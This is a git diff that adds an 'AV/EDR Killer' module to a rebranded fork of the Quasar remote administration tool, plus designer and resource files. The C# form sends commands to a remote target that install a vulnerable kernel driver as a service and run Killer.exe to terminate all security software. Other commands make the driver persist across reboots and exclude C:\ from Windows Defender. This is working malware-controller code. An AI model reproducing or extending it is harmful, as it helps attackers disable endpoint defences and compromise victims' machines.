"Resources", "Killer.exe"); + + if (File.Exists(driverPath)) + { + _driverData = File.ReadAllBytes(driverPath); + AddLog($"Loaded driver file ({_driverData.Length} bytes)"); + } + else + { + AddLog($"WARNING: Driver file not found at {driverPath}", true); + } + + if (File.Exists(killerPath)) + { + _killerData = File.ReadAllBytes(killerPath); + AddLog($"Loaded killer file ({_killerData.Length} bytes)"); + } + else + { + AddLog($"WARNING: Killer file not found at {killerPath}", true); + } + } + catch (Exception ex) + { + AddLog($"ERROR loading resources: {ex.Message}", true); + } + } + + private void Handler_OutputReceived(object sender, OutputEventArgs e) + { + if (InvokeRequired) + { + Invoke(new Action(() => Handler_OutputReceived(sender, e))); + return; + } + + AddFormattedOutput(e.Output, e.IsError); + } + + private void FrmAVKiller_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"AV/EDR Killer - {_client.Value.Username}@{_client.EndPoint.Address}"; + AddLog($"Connected to {_client.Value.Username}@{_client.EndPoint.Address}"); + AddLog("Ready to execute commands"); + txtLog.AppendText("\r\n"); + } + + private void btnCheckDriver_Click(object sender, EventArgs e) + { + AddLog("â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•"); + AddLog("Checking for driver..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "CHECK_DRIVER" + }); + } + + private void btnInstallDriver_Click(object sender, EventArgs e) + { + if (_driverData == null || _driverData.Length == 0) + { + MessageBox.Show("Driver file not loaded. Please ensure vulndriver.sys exists in Resources folder.", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + DialogResult result = MessageBox.Show( + "Install vulnerable driver to target system?\n\n" + + "This will:\n" + + "1. Upload vulndriver.sys to a random temp directory\n" + + "2. Register it as a kernel service\n" + + "3. Start the driver\n\n" + + "This requires administrator privileges on the target.", + "Confirm Installation", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•"); + AddLog("Installing driver..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "INSTALL_DRIVER", + DriverData = _driverData + }); + } + } + + private void btnKillAVEDR_Click(object sender, EventArgs e) + { + if (_killerData == null || _killerData.Length == 0) + { + MessageBox.Show("Killer file not loaded. Please ensure Killer.exe exists in Resources folder.", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + DialogResult result = MessageBox.Show( + "Attempt to kill ALL AV/EDR processes on target system?\n\n" + + "This is a high-risk operation that:\n" + + "- Requires the vulnerable driver to be installed\n" + + "- May trigger alerts\n" + + "- Will terminate security software\n\n" + + "Continue?", + "Confirm Action", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•"); + AddLog("Executing AV/EDR termination..."); + txtLog.AppendText("\r\n"); + btnStopKiller.Enabled = true; + _client.Send(new DoAVKillerCommand + { + Command = "KILL_AVEDR", + KillerData = _killerData + }); + } + } + + private void btnStopKiller_Click(object sender, EventArgs e) + { + DialogResult result = MessageBox.Show( + "Stop the Killer.exe process on target system?", + "Confirm Stop", + MessageBoxButtons.YesNo, + MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + AddLog("â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•"); + AddLog("Sending stop command..."); + txtLog.AppendText("\r\n"); + btnStopKiller.Enabled = false; + _client.Send(new DoAVKillerCommand + { + Command = "STOP_KILLER" + }); + } + } + + private void chkMakePersistent_CheckedChanged(object sender, EventArgs e) + { + if (chkMakePersistent.Checked) + { + DialogResult result = MessageBox.Show( + "Make the driver persistent across reboots?\n\n" + + "This will configure the driver to auto-start on system boot.", + "Confirm Persistence", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•"); + AddLog("Making driver persistent..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "MAKE_PERSISTENT" + }); + } + else + { + chkMakePersistent.Checked = false; + } + } + } + + private void btnExcludeCDrive_Click(object sender, EventArgs e) + { + DialogResult result = MessageBox.Show( + "Exclude C:\\ drive from Windows Defender?\n\n" + + "This will run:\nPowerShell Add-MpPreference -ExclusionPath 'C:\\'\n\n" + + "This requires administrator privileges.", + "Confirm Exclusion", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•"); + AddLog("Excluding C:\\ from Windows Defender..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "EXCLUDE_CDRIVE" + }); + } + } + + private void AddLog(string message, bool isError = false) + { + string timestamp = DateTime.Now.ToString("HH:mm:ss"); + string prefix = isError ? "[ERROR]" : "[INFO]"; + txtLog.AppendText($"[{timestamp}] {prefix} {message}\r\n"); + } + + private void AddFormattedOutput(string message, bool isError = false) + { + if (string.IsNullOrWhiteSpace(message)) + return; + + // Clean up the message + message = message.TrimEnd('\n', '\r'); + + // Format based on content + if (message.StartsWith(">>")) + { + // Status messages from client + txtLog.AppendText($" {message.Substring(2).Trim()}\r\n"); + } + else if (message.Contains("Killed:") || message.Contains("killed") || message.Contains("Terminated")) + { + // Process kill messages - format as list + txtLog.AppendText($" ✓ {message}\r\n"); + } + else if (message.StartsWith("DRIVER:")) + { + // Driver status + string status = message.Replace("DRIVER:", "").Trim(); + txtLog.AppendText($" Driver Status: {status}\r\n"); + } + else if (message.Contains("SUCCESS") || message.Contains("completed")) + { + // Success messages + txtLog.AppendText($" ✓ {message}\r\n"); + } + else if (isError || message.Contains("ERROR") || message.Contains("FAILED") || message.Contains("failed")) + { + // Error messages + txtLog.AppendText($" ✗ {message}\r\n"); + } + else + { + // Regular output + txtLog.AppendText($" {message}\r\n"); + } + } + + private void FrmAVKiller_FormClosing(object sender, FormClosingEventArgs e) + { + if (_handler != null) + { + _handler.OutputReceived -= Handler_OutputReceived; + MessageHandler.Unregister(_handler); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs new file mode 100755 index 0000000..6fd294c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs @@ -0,0 +1,134 @@ +namespace Quasar.Server.Forms +{ + partial class FrmAbout + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout)); + this.picIcon = new System.Windows.Forms.PictureBox(); + this.lblTitle = new System.Windows.Forms.Label(); + this.rtxtContent = new System.Windows.Forms.RichTextBox(); + this.lblLicense = new System.Windows.Forms.Label(); + this.lblSubTitle = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit(); + this.SuspendLayout(); + // + // picIcon + // + this.picIcon.Image = global::Quasar.Server.Properties.Resources.Quasar_Server; + this.picIcon.Location = new System.Drawing.Point(15, 15); + this.picIcon.Margin = new System.Windows.Forms.Padding(4); + this.picIcon.Name = "picIcon"; + this.picIcon.Size = new System.Drawing.Size(64, 64); + this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picIcon.TabIndex = 0; + this.picIcon.TabStop = false; + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblTitle.Location = new System.Drawing.Point(102, 9); + this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(100, 37); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Quasar"; + // + // rtxtContent + // + this.rtxtContent.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.rtxtContent.ForeColor = System.Drawing.Color.White; + this.rtxtContent.Location = new System.Drawing.Point(19, 116); + this.rtxtContent.Margin = new System.Windows.Forms.Padding(4); + this.rtxtContent.Name = "rtxtContent"; + this.rtxtContent.ReadOnly = true; + this.rtxtContent.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.rtxtContent.Size = new System.Drawing.Size(1222, 338); + this.rtxtContent.TabIndex = 6; + this.rtxtContent.Text = "All glory to 92, eL and Toxi\n\nNo, you do not have permission to publish this as y" + + "our own.\n\n@ZwClose on telegram.\n@tcixt on telegram.\n@iloverootkit on telegram.\n"; + this.rtxtContent.TextChanged += new System.EventHandler(this.rtxtContent_TextChanged); + // + // lblLicense + // + this.lblLicense.AutoSize = true; + this.lblLicense.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblLicense.Location = new System.Drawing.Point(13, 92); + this.lblLicense.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblLicense.Name = "lblLicense"; + this.lblLicense.Size = new System.Drawing.Size(57, 20); + this.lblLicense.TabIndex = 5; + this.lblLicense.Text = "License"; + this.lblLicense.Click += new System.EventHandler(this.lblLicense_Click); + // + // lblSubTitle + // + this.lblSubTitle.AutoSize = true; + this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblSubTitle.Location = new System.Drawing.Point(105, 46); + this.lblSubTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblSubTitle.Name = "lblSubTitle"; + this.lblSubTitle.Size = new System.Drawing.Size(222, 23); + this.lblSubTitle.TabIndex = 1; + this.lblSubTitle.Text = "Remote Administration Tool"; + // + // FrmAbout + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1254, 506); + this.Controls.Add(this.lblSubTitle); + this.Controls.Add(this.lblLicense); + this.Controls.Add(this.rtxtContent); + this.Controls.Add(this.lblTitle); + this.Controls.Add(this.picIcon); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmAbout"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane - About"; + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.PictureBox picIcon; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.RichTextBox rtxtContent; + private System.Windows.Forms.Label lblLicense; + private System.Windows.Forms.Label lblSubTitle; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs new file mode 100755 index 0000000..990f2bb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs @@ -0,0 +1,53 @@ +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmAbout : Form + { + private readonly string _repositoryUrl = @"https://github.com/quasar/Quasar"; + + public FrmAbout() + { + InitializeComponent(); + Utilities.ThemeManager.ApplyThemeToNewForm(this); + + + + + } + + private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + + } + + private void lnkCredits_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + + } + + private void btnOkay_Click(object sender, EventArgs e) + { + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel) + this.Close(); + } + + private void lblLicense_Click(object sender, EventArgs e) + { + + } + + private void lblVersion_Click(object sender, EventArgs e) + { + + } + + private void rtxtContent_TextChanged(object sender, EventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + 